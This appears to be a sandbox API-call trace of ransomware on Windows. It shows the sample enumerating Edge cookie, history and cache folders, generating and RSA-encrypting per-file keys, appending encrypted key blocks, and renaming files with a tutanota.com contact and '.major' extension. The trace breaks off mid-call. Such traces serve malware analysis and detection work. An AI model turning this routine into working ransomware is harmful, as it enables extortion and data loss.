pszString="AH5+j9EMsna7KdpgHdgVEEHKGj+8bx8MshRN+Pb/zW0qmJ/+5i5GZ5n7i8kwQa8K\nt8YSAdJSnnrAi/26ygH0+bH06AXDuKaQwiqi2fBc4zktxW+4+qr/gZ9G8PaZcRja\nh1cwI71sq2aEC9vI1/i8T9B8w8+mlbSaHTuYxOpAalrt+bKHuBB4Bq+vCF+Rabqy\nTEgimyr0lXSYOs/3ek110dhMZd1EpaqrPQqE3lwiJfYbJL2H4JYDoHvhgk6V2GHu\ngq38FzejEWzOW2jbSVW1X0EIw5cBbptuUm9sVPRE67i2FHP1n8cx/CuUFVlS3u8n\nmbNCAVZPZSBanbpmhvwiEw==\n", pcchString=0x2e3f9a8) returned 1 [0301.352] WriteFile (in: hFile=0x1bac, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0301.352] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.352] WriteFile (in: hFile=0x1bac, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.352] CloseHandle (hObject=0x1bac) returned 1 [0301.353] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\0Z215X0U.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\0z215x0u.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\0Z215X0U.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\0z215x0u.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0301.354] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\History\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x12ca25f9, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1e5c710a, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x50e4a50a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f37828 [0301.355] SetLastError (dwErrCode=0x0) [0301.355] GetLastError () returned 0x0 [0301.355] SetLastError (dwErrCode=0x0) [0301.355] GetLastError () returned 0x0 [0301.355] SetLastError (dwErrCode=0x0) [0301.355] FindNextFileW (in: hFindFile=0x2f37828, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x12ca25f9, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1e5c710a, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x50e4a50a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0301.355] SetLastError (dwErrCode=0x0) [0301.355] GetLastError () returned 0x0 [0301.355] SetLastError (dwErrCode=0x0) [0301.355] GetLastError () returned 0x0 [0301.355] SetLastError (dwErrCode=0x0) [0301.355] FindNextFileW (in: hFindFile=0x2f37828, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x1e5c710a, ftCreationTime.dwHighDateTime=0x1d3375b, ftLastAccessTime.dwLowDateTime=0x1e5c710a, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x1e5c710a, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0301.355] SetLastError (dwErrCode=0x0) [0301.355] GetLastError () returned 0x0 [0301.355] SetLastError (dwErrCode=0x0) [0301.355] GetLastError () returned 0x0 [0301.355] SetLastError (dwErrCode=0x0) [0301.355] FindNextFileW (in: hFindFile=0x2f37828, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50e4a50a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x50e4a50a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x50e4a50a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0301.355] SetLastError (dwErrCode=0x0) [0301.355] GetLastError () returned 0x0 [0301.356] SetLastError (dwErrCode=0x0) [0301.356] GetLastError () returned 0x0 [0301.356] SetLastError (dwErrCode=0x0) [0301.356] FindNextFileW (in: hFindFile=0x2f37828, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50e4a50a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x50e4a50a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x50e4a50a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0301.356] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0301.356] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\History\\container.dat", dwFileAttributes=0x80) returned 1 [0301.356] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\History\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\history\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bb0 [0301.357] GetFileSizeEx (in: hFile=0x1bb0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0301.357] ReadFile (in: hFile=0x1bb0, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0301.357] SetFilePointer (in: hFile=0x1bb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0301.357] WriteFile (in: hFile=0x1bb0, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0301.357] SetFilePointer (in: hFile=0x1bb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0301.357] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.357] WriteFile (in: hFile=0x1bb0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.358] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0301.358] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0301.358] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0301.358] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="5iQ9+nUa0rkze+h0Wlm9szUSTjaRBO+3lp9o5+yJ8GZfcX7MSPG3n/gVAtAII4oH\nkBW0XmcSlS/zDJ9BvqJen8RGvtMyWDtCJHHGR8guRbXRAFC8GvFG10bxufr4wIaC\n/pzq55Nga5PQ4sOrMvmz/1Xln1l++FPGBLYnxOAqkiaySk+XlrzLraN/so1dH5c/\nxM2cO9fZL5lIt9kfvxC6sRQyMnY5ALrpuhIxAyChlzq9aU6W5G5Ty/Y87oBGvZQA\nnF9N4pr5H82F0dTO9Tnhu7Vucbu3sWk3GvoBvVfxm3npXJPLbffhQgT7bdLpdIhz\n7FP0+tukz7Xz9TuEtYgttQ==\n", pcchString=0x2e3f9a8) returned 1 [0301.358] WriteFile (in: hFile=0x1bb0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0301.358] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.358] WriteFile (in: hFile=0x1bb0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.358] CloseHandle (hObject=0x1bb0) returned 1 [0301.359] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\History\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\history\\container.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\History\\container.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\history\\container.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0301.360] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\IECompatCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x12e45fcd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12e9247e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x50e4a50a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f373a8 [0301.361] SetLastError (dwErrCode=0x0) [0301.361] GetLastError () returned 0x0 [0301.361] SetLastError (dwErrCode=0x0) [0301.361] GetLastError () returned 0x0 [0301.361] SetLastError (dwErrCode=0x0) [0301.361] FindNextFileW (in: hFindFile=0x2f373a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x12e45fcd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12e9247e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x50e4a50a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0301.361] SetLastError (dwErrCode=0x0) [0301.361] GetLastError () returned 0x0 [0301.361] SetLastError (dwErrCode=0x0) [0301.361] GetLastError () returned 0x0 [0301.361] SetLastError (dwErrCode=0x0) [0301.361] FindNextFileW (in: hFindFile=0x2f373a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x12e9247e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12e9247e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x12e9247e, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0301.361] SetLastError (dwErrCode=0x0) [0301.361] GetLastError () returned 0x0 [0301.361] SetLastError (dwErrCode=0x0) [0301.361] GetLastError () returned 0x0 [0301.361] SetLastError (dwErrCode=0x0) [0301.361] FindNextFileW (in: hFindFile=0x2f373a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50e4a50a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x50e4a50a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x50e4a50a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0301.361] SetLastError (dwErrCode=0x0) [0301.361] GetLastError () returned 0x0 [0301.362] SetLastError (dwErrCode=0x0) [0301.362] GetLastError () returned 0x0 [0301.362] SetLastError (dwErrCode=0x0) [0301.362] FindNextFileW (in: hFindFile=0x2f373a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50e4a50a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x50e4a50a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x50e4a50a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0301.362] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0301.362] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\IECompatCache\\container.dat", dwFileAttributes=0x80) returned 1 [0301.362] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\IECompatCache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\iecompatcache\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bb4 [0301.363] GetFileSizeEx (in: hFile=0x1bb4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0301.363] ReadFile (in: hFile=0x1bb4, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0301.363] SetFilePointer (in: hFile=0x1bb4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0301.363] WriteFile (in: hFile=0x1bb4, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0301.363] SetFilePointer (in: hFile=0x1bb4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0301.363] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.363] WriteFile (in: hFile=0x1bb4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.364] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0301.364] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0301.364] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0301.364] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="c45RMhNXP4u+G0zF/9ShJ8P1qYw7e79EuzOv+eQxNBA7JjGjtrVlNOm6pGwxZmMZ\niuOu3D0P3pL3fWnoYLjoZ6YgR+2bK6wMlcjUo/wLdz7Y9GJcRJobJfrxx2aa5xO/\nAIcEoC9q6J8Af+HeE0UJiOuF1UHAcT7/8L5KuZQru5n7jrt1smEIJNwOhYDMjePu\n9udMXGYRb+nvwiDnmvpFJaCW6Qith0fCjR6HIIWHdOYqCRBiX+OKlC5lIbI/s6YE\nJzEq3I8iM51x//+YU/nlfJ3kBfqq4yI1j9wwF+lv8DeLYcrk09HMRVmOgzcSKcoG\nZ0+1xn+zPk8Qq/YXviy/kw==\n", pcchString=0x2e3f9a8) returned 1 [0301.364] WriteFile (in: hFile=0x1bb4, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0301.364] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.364] WriteFile (in: hFile=0x1bb4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.364] CloseHandle (hObject=0x1bb4) returned 1 [0301.364] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\IECompatCache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\iecompatcache\\container.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\IECompatCache\\container.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\iecompatcache\\container.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0301.367] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\IECompatUaCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x12e9247e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12e9247e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x50e4a50a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f373e8 [0301.367] SetLastError (dwErrCode=0x0) [0301.367] GetLastError () returned 0x0 [0301.367] SetLastError (dwErrCode=0x0) [0301.367] GetLastError () returned 0x0 [0301.367] SetLastError (dwErrCode=0x0) [0301.367] FindNextFileW (in: hFindFile=0x2f373e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x12e9247e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12e9247e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x50e4a50a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0301.367] SetLastError (dwErrCode=0x0) [0301.367] GetLastError () returned 0x0 [0301.367] SetLastError (dwErrCode=0x0) [0301.367] GetLastError () returned 0x0 [0301.367] SetLastError (dwErrCode=0x0) [0301.367] FindNextFileW (in: hFindFile=0x2f373e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x12e9247e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12e9247e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x12e9247e, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0301.367] SetLastError (dwErrCode=0x0) [0301.367] GetLastError () returned 0x0 [0301.367] SetLastError (dwErrCode=0x0) [0301.367] GetLastError () returned 0x0 [0301.368] SetLastError (dwErrCode=0x0) [0301.368] FindNextFileW (in: hFindFile=0x2f373e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50e4a50a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x50e4a50a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x50e4a50a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0301.368] SetLastError (dwErrCode=0x0) [0301.368] GetLastError () returned 0x0 [0301.368] SetLastError (dwErrCode=0x0) [0301.368] GetLastError () returned 0x0 [0301.368] SetLastError (dwErrCode=0x0) [0301.368] FindNextFileW (in: hFindFile=0x2f373e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50e4a50a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x50e4a50a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x50e4a50a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0301.368] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0301.368] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\IECompatUaCache\\container.dat", dwFileAttributes=0x80) returned 1 [0301.368] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\IECompatUaCache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\iecompatuacache\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bb8 [0301.369] GetFileSizeEx (in: hFile=0x1bb8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0301.369] ReadFile (in: hFile=0x1bb8, lpBuffer=0x59d4b0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0301.369] SetFilePointer (in: hFile=0x1bb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0301.369] WriteFile (in: hFile=0x1bb8, lpBuffer=0x59d430*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0301.369] SetFilePointer (in: hFile=0x1bb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0301.369] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.369] WriteFile (in: hFile=0x1bb8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.370] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) 